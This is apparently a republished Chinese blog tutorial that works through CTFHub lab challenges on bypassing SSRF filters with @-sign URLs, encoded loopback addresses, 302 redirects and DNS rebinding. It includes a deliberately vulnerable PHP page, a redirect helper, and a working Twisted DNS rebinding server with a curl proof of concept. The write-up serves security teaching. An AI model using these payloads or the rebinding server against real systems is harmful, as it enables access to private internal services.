SSRF Bypass技巧介绍
2021-02-15 11:40:21 Author: www.freebuf.com(查看原文) 阅读量:91 收藏

之前的文章我们介绍了SSRF漏的基础利用方法,以及利用SSRF攻击内网的服务,不过这些攻击都是在服务器没有对地址做任何过滤的情况下,通常情况下后台的代码中都会对我们所要访问的URL做一些过滤,今天我就来介绍一下SSRF中的一些绕过方法。

0x01 URL Bypass

我们还是以 CTFHub 中的技能树为例,首先看看URL Bypass。

题目上没有任何提示,我们直接进入环境。

进入环境后页面提示我们URL必须以“http://notfound.ctfhub.com”开头。

这里我们可以利用@来绕过,我们可以进行简单的测试,在浏览器中输入:

[email protected]

访问后发现最终访问的是“www.baidu.com

那么我们就可以利用他来绕过限制,我们在?url=后面输入:

http://[email protected]/flag

访问后发现页面报未找到,不过我们可以看到访问的确实是127.0.0.1。那么我们可以尝试遍历目录,这里我直接尝试了 flag.txt,和 flag.php 然后就找到了flag:

0x02 数字IP Bypass

这一题同样题目中没有任何提示,我们就直接进入环境。

进入环境后发现同样也没有任何提示,那我们就直接在url参数后输入IP访问试试。

这回有提示了,页面告诉我们不能输入127、172和@,那么这里我们就可以采用不同进制格式的ip来绕过。

比如127.0.0.1这个地址我们可以这样表示:

8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433
16进制整数格式:0x7F000001

我们就挨个来尝试:

直接访问发现页面没有反应,应该是通过了过滤,那我们按照上一题的思路直接访问/flag.php

成功拿到flag,那我们同样也试试其他几种写法:

可以看到,这几种写法都可以顺利的拿到flag。

0x03 302跳转Bypass

题目中也是没有任何提示,进入环境后也没有找到能够302跳转的页面。。。

结果最后直接在url参数中输入:127.0.0.1/flag.php

直接就拿到了flag。。。。

额,看来是题目有问题,那我们就在本地环境尝试一下吧。

先准备一个存在SSRF漏洞的页面:

文件名:ssrf.php,代码如下:

<?php
   highlight_file(__FILE__);
   $url = $_GET['url'];
   $curl = curl_init($url);    
   //第二种初始化curl的方式
   //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
   /*进行curl配置*/
   curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
   curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); // 允许302跳转
   curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);// 限制为HTTPS、HTTP协议
   $responseText = curl_exec($curl);
   var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
   echo $responseText;
   curl_close($curl);
?>

这时我们尝试通过file协议查看本地文件试试:

可以看到,页面报错,file协议被禁用了。

这时候我们再准备一个能够进行302跳转的页面:

文件名:302.php,代码如下:

<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
      header("Location: $schema://$ip/$query");
}
else{
        header("Location: $schema://$ip:$port/$query");
}
?>

这时我们通过302.php页面再次利用file协议访问本地文件试试:

额,结果发现还是不能用file协议,然后又尝试了其他协议,只有http可以,我尝试把限制协议的语句注释,发现还是不行,查询资料好像是环境问题,但是还没有找到解决的办法。

(待问题解决后补充)

0x04 DNS重绑定 Bypass

这道题也是跟上一题一样,有问题,直接访问 url=127.0.0.1/flag.php就可以拿到flag。

这里介绍一下DNS重绑定Bypas的原理:

借用大佬文章中的解释:

https://zhuanlan.zhihu.com/p/73736127

1)SSRF 修复逻辑

1.取URL的Host

2.取Host的IP

3.判断是否是内网IP,是内网IP直接return,不再往下执行

4.请求URL

5.如果有跳转,取出跳转URL,执行第1步

6.正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。

首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。

接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。

不过,这一切都是在TTL为0的前提下。

2)什么是TTL?

TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。

所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是第一次缓存的外网IP,也就不能绕过了。

3)DNS请求过程

1.查询本地DNS服务器(/etc/resolv.conf)

2.如果有缓存,返回缓存的结果,不继续往下执行

3.如果没有缓存,请求远程DNS服务器,并返回结果

4)DNS缓存机制

平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。

不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。

需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。

1.Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)

2.PHP默认会被DNS Rebinding绕过

3.Linux默认不会进行DNS缓存

5)搭建DNS服务器

DNS配置如下:

此时,当访问http://dns_rebind.joychou.me域名,先解析该域名的DNS域名为http://ns.joychou.mehttp://ns.joychou.me指向47这台服务器。

DNS Server代码如下,放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1

NS记录表示这个子域名http://test.joychou.me指定由http://ns.joychou.me域名服务器解析,

A记录表示http://ns.joychou.me位置在ip地址http://xxx.xxx.xxx.xxx

在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:

dns.py

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip = "35.185.163.135"
        else:
            ip = "127.0.0.1"
        if name not in record:
            record[name] = 0
        record[name] += 1
        print name + " ===> " + ip
        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())

运行python dns.py,dig查看下返回

➜ security dig @8.8.8.8 http://dns_rebind.joychou.me; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 35.185.163.135
;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:43 2017
;; MSG SIZE rcvd: 55
➜ security dig @8.8.8.8 http://dns_rebind.joychou.me
; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 127.0.0.1
;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:45 2017
;; MSG SIZE rcvd: 55

可以看到第一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。

curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'

返回http://test.joychou.org页面内容It works.

在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。

以上引用文章中内容。

个人简单理解原理就是在过滤IP地址时会先进行一次DNS解析,来确定是否为内网IP,此时让我们的DNS服务器解析为外网地址通过检测,然后当真正发起请求时,因为ttl值设置为了0,所以服务器会再次向我们的DNS服务器请求解析IP,这时再返回内网的IP地址,这样就绕过了地址的过滤。

因为实验需要有自己的域名,并且还需要搭建DNS服务器,条件比较苛刻,在实际环境中的应用也比较有限,在这里就没办法进行实验了,就先简单了解一下原理吧。


文章来源: https://www.freebuf.com/articles/web/263578.html
如有侵权请联系:admin#unsafe.sh